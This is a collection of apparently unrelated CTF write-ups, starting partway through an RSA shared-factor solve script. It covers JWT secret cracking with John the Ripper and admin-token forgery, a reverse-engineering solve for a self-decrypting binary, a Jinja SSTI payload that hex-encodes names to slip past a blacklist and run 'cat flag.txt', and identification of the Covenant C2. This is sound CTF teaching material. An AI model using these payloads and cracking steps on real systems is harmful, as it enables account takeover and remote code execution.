pan><span>n2</span> <span>=</span> <span>530687960326989199343319641769468735056719687565676116773867349194199707584560078068423386135890862967492083649259423619534829360312312415859971577871205607317501227240337115190745493433956081180884413305800300580884184696296161434330167968026660523557985565886533238297825809579994229108489059297432098391309435372101680113632239869822673544784768505792706364410485518925618258042094875462603213572787841216570345262199686710412603549897422189614969582861864254420417299634404604836686002844474219985576430743265948197527474248491388705441130953941181556617683221203362472944098134461408751346998476446586666834971737908058449883435726587949913025269736607729697079862492284704316292035894525557178639119313839639367173374112578867607756303094321269575690336950882905280053919054235370449932609315382297618889670977059330701026607153879782197738829120356489708220812077499925959245646215072631870621249929738039796464674137188432418358322322951396160305358390892407264446374303126859071550310106586658423478700243720364032486757394301046359926113959148905015787118727956636757598958649450053440979270941138362644625329056253564482473075514932905256742399555775172390368620357545582366617322603645755305557295237798218160825818028141</span><span>c1</span> <span>=</span> <span>541153229095037579858295446778781172580884760385284002147542196003293531706169322960419234627569448144454740037897824182763794136447630757453376634579718740889293827421101038528096128202725311128856550252391329972697194691055771487521623294763797972162804659018656693772784475703082077246581189924112745802615273945459021693817260332729156074315476144345570299302453664151948339053713643786820031594973122213751914815311678013684404652242883165684206203052286412805274780026118894445296355748197875829240333586988104756334241102699330573777392273876291720218348933387763312640822902812957421714195326933601605321965709074451400653731014764106019599722795539834325135751763748535818245279349879282209883358546352004025727567368992723027658796034538642700094030498932061027265715879714641028273752382847514213009506808354344932707617158448818354068769701862616100339045667459331188727567895267106823657493354380767172450502114171361684932534502241769497123329590345257756472987942810598170216656539701267821411429342523220745000710941105058620823772704687332908554259583914517043335169990317116173107543607214237003882719965328248495192877057980130140435959212771456749734889259597913342498941690494257669128891366353841619609756468921</span><span>c2</span> <span>=</span> <span>254995434157499094074740522382653621037683865648217139039983930708198788191604658271710855356490733399654161006910038154620981573866101234344287987438243674727015451767752359204059726091404920699248900600731198907902943821415385868340903420608124994228491370751247056929503984979851323391697177354816426431850758247280384447390337838329405467881123751494398120341651866069192129528281599223102780529318685134788757786889067516080883688672346336894714129591857173409977371931952391183625743359104241029151189312962972792281315749538605826756768473316038049796835635589004389296836167765473708147029138883114826871178964183235758399250652660883721790259823584072358804375705646051403907609048390491677793908468748713509583596713778535934151102923682351421382031077628225365089849689017916396722184824218580154786982944998381313733006433456871650537316172524799446574879129947133779006211264007941650032669379067206952767031734008491060404429453666781467192068866951706138107308158417730524621195117216907305295460018473142138099891895507309673542435440468021685601317053971788683791808873561776467354349919631751772535099532988995232543637786525488499494159113757641523815672849159932102361116353214010806562143397856767159948326787376</span><span>e</span> <span>=</span> <span>65537</span>
<span>def</span> <span>gcd</span>(<span>a</span>, <span>b</span>): <span>if</span> <span>a</span> <span><</span> <span>b</span>: <span>a</span>, <span>b</span> <span>=</span> <span>b</span>, <span>a</span> <span>while</span> <span>b</span> <span>!=</span> <span>0</span>: <span>temp</span> <span>=</span> <span>a</span> <span>%</span> <span>b</span> <span>a</span> <span>=</span> <span>b</span> <span>b</span> <span>=</span> <span>temp</span> <span>return</span> <span>a</span>
<span>p</span><span>=</span><span>gcd</span>(<span>n1</span>,<span>n2</span>)
<span>q1</span><span>=</span><span>n1</span><span>/</span><span>p</span><span>q2</span><span>=</span><span>n2</span><span>/</span><span>p</span>
<span>phi_N1</span> <span>=</span> (<span>p</span><span>-</span><span>1</span>)<span>*</span>(<span>q1</span><span>-</span><span>1</span>)<span>phi_N2</span> <span>=</span> (<span>p</span><span>-</span><span>1</span>)<span>*</span>(<span>q2</span><span>-</span><span>1</span>)<span>d1</span> <span>=</span> <span>libnum</span>.<span>modular</span>.<span>invmod</span>(<span>e</span>,<span>phi_N1</span>)<span>d2</span> <span>=</span> <span>libnum</span>.<span>modular</span>.<span>invmod</span>(<span>e</span>,<span>phi_N2</span>)
<span>ans1</span> <span>=</span> <span>pow</span>(<span>c1</span>,<span>d1</span>,<span>n1</span>)<span>ans2</span><span>=</span><span>pow</span>(<span>c2</span>,<span>d2</span>,<span>n2</span>)<span>print</span>(<span>libnum</span>.<span>n2s</span>(<span>ans1</span>))<span>print</span>(<span>libnum</span>.<span>n2s</span>(<span>int</span>(<span>str</span>(<span>ans1</span>)<span>+</span><span>str</span>(<span>ans2</span>))))</div></article> </div> </div>
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# Skylark Capsule - Tokenz
## Introduction
"Get your capsule now. Can you gain access to the capsule of 'admin' ?" That's the goal of this challenge. So let's get on board !
We quickly understand that we have to create an account to see what's happend when we are connected, to look at our capsule's specs. So we go on the register page and create a fake account like : id -> Test email -> [email protected] password -> 12345
Came back on the website starting page, we see that now we can get our capsule's specs.
## Web traffic analysis
Let's start Burp suit to catch out which informations go trough the network when we click on that button.
So redirecting the query to the Burp's proxy, we find out something quite interesting ! The label "Authorization" contain something that look exactly like a JSON Web Token (Like the title of this challenge, what a surprise)Ok so now we got the JWT of our account, let's decode it to understand a little bit more what's going on. I went on : https://jwt.io/, which is a pretty good tool to analyse and modify a JWT Token
## Create a fake admin token
The token contain an id and an username, so we are going to test if we put id = 1 and username = admin, to see what's going on.Ok we already did a good job, but unfortunatly, the JWT has a signature... That's a bad news because we have to find out this signature.The signature is used to know if the token has been created by the website.We are going to use John The Ripper, a great cracking tool available on Kali linux, which integrate a functionality to hack JWT signature.So let's use it !
## Help us John !
Ok, after putting the JWT in jwt.txt, I use this command on Kali terminal : john jwt.txt --worlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256And that's the result in less than 1 second :
The signature was ... skylark140584 ... Skylark like the challenge's tittle. The creator of this challenge like making jokes, anyway. So now, we got the signature, let's create our fake admin JWT.
## I'm the admin, am I not ?
Let's get back on jwt.io and replace id and username label without forget to enter the signature :
And now, we return on Burp suite, send the query to the repeater, modify the token with the one we just created, and forward it ! Finaly we did it ! Here's the flag !
```CTF{break1ng_dem_jwtz}```
*First writeup, I hope it was clear and understandable* |
# Signals
Caterogy: Reverse engineeringDescription: *This program is sending me mixed signals...*
# Basic Analysis
In this challenge we get a 64-bit Linux executable
```cmdD:\CTF\UIUCTF\signals>file signalssignals; ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, not stripped```
# Analyzing the binary
Opening the file in binary ninja
We see something interesting```asm000012a0 lea rdi, [rel code]000012a7 call make_executable```We see a call to `make_executable` with `code` as the parameter
Disassembling the make_executable function, one instruction caught my attention```asm00001248 call mprotect```
So make_executable is calling `mprotect` with `code`. mprotect is used to change the permissions of some area of the memory, i.e. we can make some read-only data to executable too.
My guess was that it is making the segment executable where `code` variable is stored.
Analyzing the main function more```asm000012f5 mov rax, qword [rbp-0x20 {argv}]000012f9 mov rax, qword [rax+0x8]000012fd mov rcx, rax00001300 lea rdx, [rel code]00001307 mov eax, 0x00000130c call rdx {code}```
We see that it loads argv[1] (our input) into rcx.
And then it loads the address of code variable into rdx, and then jumps there.
Jumping to `code` variable, binary ninja doesn't show it as a function, we have to press `P` to make function at that address.
And indeed it is some valid code
```asmcode:00004020 lea rax, [rel data_4435]00004027 mov dl, byte [rcx]00004029 xor rbx, rbx {0x0}
0000402c xor byte [rax+rbx], dl0000402f inc rbx00004032 cmp rbx, 0x1d00004036 jne 0x402c
00004038 inc rcx0000403b jmp rax {data_4435}```
In this code, it first loads some data `data_4435` into rax. That rel means that it is relative to RIP. Binary ninja shows it like that, the actual instruction looks like `LEA RAX, [RIP+0x15d5]`.
Then it loads a byte from rcx into dl, remember that the input that we pass (argv[1]) was stored in the rcx register.
Then it clears out rbx register and use that register as a counter for the loop. In this loop, it loads a byte from the `data_4435` and xors it with our input, i.e. it is decrypting it and it jumps to that decrypted code.
The high level representation of that code would look like```Crcx = &argv[1]; //our inputrax = &data_4435;for(rbx=0; rbx<0x1d; ++rbx){ rax = *rax ^ *rcx; rax++;}rcx++;rax();```
Also notice that it increments rcx at the end. Which means that now rcx is pointing to second character of our input.
As we know that the flag format is `uiuctf{...}`, so the first character has to be `u` or maybe `U`.
So we can write a simple python code to decrypt this
```pydef decrypt(data, val): return b''.join([chr(i ^ val).encode('charmap') for i in data])
with open('signals', 'rb') as fp: dat = fp.read()
base = 0x1000start = 0x0004435end = start + 0x1d
key = ord`('u')
code = decrypt(dat[start:end+1], key)
open('layer1', 'wb').write( dat[:start] + code + dat[end:] )
```
Opening the `layer1` file in binary ninja and jumping to code
```asm00004435 lea rax, [rel data_5a11]0000443c mov dl, byte [rcx]0000443e xor rbx, rbx {0x0}
00004441 xor byte [rax+rbx], dl00004444 inc rbx00004447 cmp rbx, 0x1d0000444b jne 0x4441
0000444d inc rcx00004450 jmp rax {data_5a11}```
Indeed, it decrypted some more meaningful code. One thing to note here is that the decrypted code looks similar to the code that we saw earlier, only the data that is to be decrypted is different `data_5a11`.
So now it will decrypt the code with second letter of our input, i.e. `i`.
We can just run our [layer1 code]() with some changes into the offset and key, it will decrypt the second layer.
```asmLEA RAX, [RIP-0x9f9]MOV DL, [RCX]XOR RBX, RBXXOR [CR4:RAX+RBX], DLINC RBXCMP RBX, 0x1dJNZ 0x100cINC RCXJMP RAX```
And again the similar code is decrypted.
**Lets assume that it will be decrypting the same code over and over again for the input characters.**
So we just need to find the characters that will decrypt the code which looks similar to our previous code.
But doing this character by character and then opening it in a disassembler takes too much time, we need to somehow automate this.
## Possible Approaches
1. Symbolic execution: tools like `angr` or `manticore`can be used for this approach but these are automatic solvers, and it sounds boring to just run a simple script to solve a crackme.
2. Dynamic analysis: this would require us to run the program and count the number of instructions executed. For the correct input, it should execute the highest number of instructions.
3. Static analysis: using a python code to decrypt layer by layer based on the correct input.
## Dynamic Analysis
As the program is decrypting itself and if the characters are correct, it executes more instructions, so for every character we execute more instructions than before.
So we can just use the `perf` tool which is capable of counting the number of instructions executed.
I got this idea from [this](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) write-up. According to the write-up, if we the following command, it will give us the count of the instructions.
```bashperf stat -x, -e instructions:u ./signals```
But for some reason, it was giving me the error`The instructions event is not supported.`
If this would have worked, we could just change the program name in the code that was in that write-up, and it would have given us the flag.
## Static Analysis
**Lets assume that it will be decrypting the same code over and over again for the input characters.**
Then we just need the offsets of the data to be decrypted and we can just compare the parts of the code to the previous one.
Lets start writing the code.
1. Lets just define our decrypt function and read the binary
```pydef decrypt(d, val): return b''.join([chr(i ^ val).encode('charmap') for i in d])
with open('signals', 'rb') as fp: dat = fp.read()
```
2. Getting some offsets from the file
```pycode_addr = 0x4435base = 0x1000```
The `code_addr` is the address of the data which is to be decrypted.The address at which the binary is loaded is stored at `base` variable. To get the base address, just run the following command
```cmdD:\CTF\UIUCTF 2021\signals>objdump -d signals
signals: file format elf64-x86-64
Disassembly of section .init:
0000000000001000 <_init>:```
The first address (0x1000) is the base address.
3. Then we can just bruteforce it char by char. But how will we get the disassembly. There are three methods I can think of:
a) **objdump**: to get the disassembly, but objdump just decodes the text section, and our code is not in the text section of the binary
b) **ndisasm**: we can get the disassembly using the following command```bashndisasm -b64 file```
It requires us to save the code in a file, and then pass it.
c) **distorm3**: [distorm3](https://github.com/gdabah/distorm/) is a python libraby which is capable of disassembling code. I used this approach
Now continuing writing the script
```pyimport distorm3def decrypt_inst(data): return [i[2] for i in distorm3.Decode(0x1000, data, distorm3.Decode64Bits)]
flag = '' # Will store the flagwhile 1: for ch in range(32, 127): # Printable range address = code_addr - base code = decrypt(dat[address:address+0x1d], ch) inst = decrypt_inst(code) if 'JMP RAX' in inst and 'LEA' in inst[0]: # if character found flag += chr(ch) print(flag) off = inst[0].split('LEA RAX, [RIP')[1].replace('0x','').replace(']', '') # getting address of next data code_addr = code_addr + int(off, 16) break if 126 == ch: # If character not found exit("ERROR")```
Code looks fine lets run it
```cmdD:\CTF\UIUCTF 2021\signals>python script.pyuERROR```
It prints the first character correctly, but then it errors out
So the problem was that, it was getting the code_addr wrong, it was getting the address 0x5a0a instead of 0x5a11.
It is beacuse the first instruction `00004435 lea rax, [rel data_5a11]` is 7 bytes long, so we have to add 7 to the code_addr
The [final script](https://github.com/DaBaddest/CTF-Writeups/blob/master/UIUCTF%202021/signals/script.py) should be
```pyimport distorm3def decrypt_inst(data): return [i[2] for i in distorm3.Decode(0x1000, data, distorm3.Decode64Bits)]
def decrypt(d, val): return b''.join([chr(i ^ val).encode('charmap') for i in d])
with open('signals', 'rb') as fp: dat = fp.read()
base = 0x1000code_addr = 0x4435flag = ''while 1: for ch in range(32, 127): address = code_addr - base code = decrypt(dat[address:address+0x1d], ch) inst = decrypt_inst(code) if 'JMP RAX' in inst and 'LEA' in inst[0]: flag += chr(ch) print(flag) off = inst[0].split('LEA RAX, [RIP')[1].replace('0x','').replace(']', '') code_addr = code_addr + int(off, 16) + 7 break if 126 == ch: exit("ERROR")
```
Running the script
```cmdD:\CTF\UIUCTF 2021\signals>python script.pyuuiuiuuiucuiuctuiuctfuiuctf{uiuctf{auiuctf{anuiuctf{anouiuctf{anotuiuctf{anothuiuctf{anotheuiuctf{anotheruiuctf{another_uiuctf{another_cuiuctf{another_ctuiuctf{another_ctfuiuctf{another_ctf_uiuctf{another_ctf_auiuctf{another_ctf_anuiuctf{another_ctf_anouiuctf{another_ctf_anotuiuctf{another_ctf_anothuiuctf{another_ctf_anotheuiuctf{another_ctf_anotheruiuctf{another_ctf_another_uiuctf{another_ctf_another_fuiuctf{another_ctf_another_fluiuctf{another_ctf_another_flauiuctf{another_ctf_another_flaguiuctf{another_ctf_another_flag_uiuctf{another_ctf_another_flag_cuiuctf{another_ctf_another_flag_chuiuctf{another_ctf_another_flag_cheuiuctf{another_ctf_another_flag_checuiuctf{another_ctf_another_flag_checkuiuctf{another_ctf_another_flag_checkeuiuctf{another_ctf_another_flag_checkerERROR```
It errors out but almost prints the flag.
As we know that the flag format is `uiuctf{...}`, so we can just add the `}` and try the flag
And indeed it is the correct flag
```uiuctf{another_ctf_another_flag_checker}``` |
## Build-A-Website was a challenge in the web category worth 100 points> This website has a form that takes input and renders it as an html webpage. The backend is handled by a Python library called Flask. We are provided the source code to the web app. The source code in its entirety can be viewed [here](https://raw.githubusercontent.com/crollins18/ccr-ctfwriteups/main/file-dumps/imaginary2021/build-a-website/app.py). After examining the way the input is processed and the comments inside the source code we determine that our attack vector will be Cross Site Scripting (known as XSS). More specifically this challenge deals with a type of XSS attack called Server Side Template Injections (known as SSTIs) that allows us to execute arbitrary Python code such as reading a flag file on the system. We are told in the challenge description (and on Discord) that we are looking for a flag file called `flag.txt`.
## Thought ProcessOn first glance I noticed that the blacklist (terms not allowed to be submitted) contained html tags such as `iframe`, `script`, `document`, etc. This lead me to believe that I needed to go with a JavaScript XSS attack to steal something like a session cookie. The only problem was that for this type of attack to work there needed to be a cookie the site hands out and a person (besides ourselves) needs to visit the page. I had neither of these components so I was back at square one.
***NOTE: Even if there was a cookie to steal, the returned html page had a (hardcoded) Content Security Policy (CSP) in place that would not allow any outside sources (such as JavaScript) to be processed***
`<meta http-equiv="Content-Security-Policy" content="default-src 'none'">`
I noticed that the only place direct input was handled (through the backend) was in the return statement of `site()` method. See below.
`return render_template_string(csp + content)`
There was a comment earlier in the code stating `i dont remember how to return a string in flask so here goes nothing`. This inspired me to investigate how rendering a template could be potentially malicious. After some research I came across articles talking about Server Side Template Injections through the Jinja templating language that Flask takes advantage of. To test this theory that any text sent could be interpreted as template information I sent this simple payload.
The webpage returned `64` indicating that this string input was correctly injected and not treated as a literal. Instead it was treated as though it was part of template placed by an administrator.
I knew that the objective from this point on was to find a way to read a system file. Instead of accessing typical libraries to read a file from the operating system, we have to be a little more strategic (since we can't import external libraries other than what is already specified in `app.py`). Various common payloads to read a remote file exist for Jinja (see [here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2---read-remote-file)). They involve navigating up through superclasses and subclasses to get to a desired class (like the File class) that can read out a flag. The problem with these common approaches is that our blacklist has terms `las`, `bas`, and `bal`. These are all substrings of `class`, `subclass`, and `global` keyword used in payloads. After much head banging about how to evade this type of blacklist (and still have our injection evaluate) I found a lead.
## Solution
This payload `{{request|attr('application')|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag.txt')|attr('read')()}}` takes advantage of hexadecimal letter representations to get around the blacklist while still telling Python that we want to execute the shell command `cat flag.txt`.
`ictf{:rooYay:_:rooPOG:_:rooHappy:_:rooooooooooooooooooooooooooo:}` |
## Welcome to the matrix (75 Points)
### Enoncé```Bonjour Agent, Nous avons pu récupérer un dump réseau d'un VPS appartenant à APT403, essayer de déterminer le C2 utilisé. Flag Format : CYBERTF{le nom du c2 en lettres et majuscules} exemple : CYBERTF{M3t45PL01T} mais T n'est pas en lettres```
### Solution
Simplement, Wireshark et Clic Droit / Follow / TCP steam, on voit "Covenant".
En faisant des recherches sur internet on apprend que c'est un c2 .
Pour finir on a juste à le mettre au format demandé et on obtient le flag .
## Flag : `CYBERTF{C0V3N4NT}` |
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